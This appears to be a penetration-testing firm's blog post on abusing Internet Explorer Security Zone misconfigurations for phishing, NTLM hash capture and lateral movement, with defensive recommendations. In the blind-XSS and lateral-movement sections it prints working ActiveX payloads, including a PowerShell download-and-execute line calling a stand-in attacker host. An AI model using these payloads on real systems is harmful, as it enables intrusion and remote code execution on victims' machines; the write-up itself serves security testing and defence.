Attacking Internet Explorer Security Zones

Over the course of numerous assessments we’ve abused misconfigurations within our clients Internet Explorer (“IE”) Security Zones to achieve:

• Novel Phishing with Credential Extraction
• Lateral movement

We find that Security Zones are often overlooked by both security teams and testers alike, and the impact of placing a site within a zone is misunderstood.

tldr: Security Zones still matter, with lots of low hanging fruit and opportunities to chain exploitation.

Background

Internet Explorer assigns all websites to one of four security zones: Internet, Local intranet, Trusted sites, or Restricted sites. The zone to which a website is assigned specifies the security settings that are used for that site¹.

Historically, IE would use these zones to apply security policies to a domain, with a list of possible settings available here.

Sites can be manually added to a zone through Group Policy, editing the registry, or simply editing the settings in IE directly. Some additional logic is used to place sites into the Intranet Zone²:

• If a site’s hostname does not include a dot .
• Sites in the Proxy Bypass List
• Sites with a DIRECT connection in WPAD

Some of these controls are explicitly dangerous and there is a real need to ensure that sites placed into a trusted zone genuinely require it, and that they’re sufficiently trusted to not be malicious. These include:

• The ability to run unsafe ActiveX scripts (1201)
• Access data sources across domains
• Run Java
• Allow websites to open windows without address or status bars

As IE has been phased out in favour of Edge, the concept of a Security Zone has not been lost. Although most of the really dangerous controls are not supported in Chromium two are respected, namely³:

• The ability for Windows Native Authentication Single Sign On (SSO) without prompting the user
• How file downloads are handled and if Mark Of The Web is applied to files.

Additionally, System administrators can configure Edge to load a given site in Internet Explorer mode, re-introducing the dangerous functions detailed above.

Attacks

Based on the background, we sort of know what the zones are and what they do - but how can they be abused?

We outline some of the chains that we’ve exploited in the past:

1. Blind XSS in an Internal CRM gaining code execution on staff’s computers abusing WScript.Shell
2. Phishing NTLMv2 hashes without user interaction⁴
3. Using LLMNR & NBT-NS poisoning for lateral movement within user segments
4. One-click code exec using Phishing and misconfigured zones

Blind XSS

A client had configured a public facing system to populate user data from forms into an internal CRM System. The CRM system had evolved in house of a number of years and was built upon legacy technology. At some point in time the site was placed into the trusted zone, and the client had enabled unsafe ActiveX controls for scripting in the trusted zone.

The user input was correctly handled in the public facing systems, and they presented a fairly thin attack surface. However, the input was passed through to the CRM without sanitisation, and the CRM was naively injecting the user content into the DOM.

We received a number of callbacks in BurpSuite Collaborator, so sent the following XSS Payload via the frontend to the CRM:

var wscript = new ActiveXObject("Wscript.Shell");
wscript.run('powershell.exe -Command "Invoke-WebRequest -URI https://foobar.oastify.com"');

After viewed by a staff user, the following request was received to collaborator

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.20348.1850
Host: foobar.oastify.com
Connection: Keep-Alive

Phishing

On a recent engagement Proactive Labs were aiming to identify methods of obtaining credentials without having user input. The client were using a hybrid on-prem and Azure AD model. Multi-Factor authentication was disabled for some users, however the default password policy and password filter was making our attempts to perform a ‘low and slow’ bruteforce infeasible.

We identified that they had placed *.msappproxy.net in their Intranet zone. By registering our own Application with the Microsoft Entra Application Proxy⁵ we were able to host arbitrary content that fell within that Zone. Edge was the default browser, so blatant ActiveX abuse was not going to work.

We build out a chain that from a click, forwarded a victim to our own site running Responder. Once we had obtained the NTLMv2 hash we then forwarded the victim on to the site we were masquerading as.

Given the redirect chain happened rapidly, and the user was never prompted for credentials this phishing method was highly successful.

Lateral Movement

During an engagement, PL connected a test device to the workstation network. We were able to see broadcast traffic for LLMNR & NBT-NS from other machines, which prompted us to use Responder to coerce connections to our machine.

SMB Signing was enabled across the fleet, and the user accounts were fairly restricted. Unfortunately, the client had enabled ActiveX insecure scripting for their Intranet Zone. Combining Responder poisoning and this issue we were able to trivially laterally move onto workstations.

Whenever a request was made over broadcast, Responder coerced the victim machine into connecting to our attacker machine. If the connection was over HTTP we simply injected the following script (Using Responder’s HTMLToInject), resulting in powershell being ran as the victim.

var wscript = new ActiveXObject("Wscript.Shell");
wscript.run('powershell.exe -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString(\'http://attacker:1337/payload.ps1\')"');

Phishing One-Click Code Exec

A client had engaged a third party service provider to help migrate their on-premise Active Directory environment to a hybrid Azure Active Directory (AAD). As part of the recon phase of the engagement, we were able to find artifacts the service provider was using to automatically add sites to the trusted zone for their clients. Specifically, they had accidentally left the script on an old GitHub repository and had incorrectly attempted to purge the commit history for the repository. We noted that *.windows.net was placed into the Trusted Zone, and the ability to run unsafe ActiveX controls was set to enable (1201). We had also noticed from initial interaction with the client that links clicked in emails seemed to be opened in Internet Explorer.

As a team we decided that this would be a reasonable method of initial access on our engagement, and built out the following chain:

1. Registration of a dummy Azure Blob Storage bucket, which allows us to serve arbitrary content under a subdomain of blob.core.windows.net, giving us access to the trusted zone.
2. Extending the ActiveX payload described in the ‘Blind XSS’ attack to:
   1. Download a Mythic Stager from the same subdomain in memory with PowerShell⁶
   2. Run the in-memory stager

Recommendations

In general, we recommend that organisations regularly review their security zones settings and ensure that sites are in the correct zone, and that zones follow the principal of least privilege. Avoid the use of Wildcards in security zones if possible. Additionally logging to detect events such as powershell.exe/cmd.exe/random process spawning as a subprocess of iexplorer.exe would help to identify blatent abuse of ActiveX objects.

Footnotes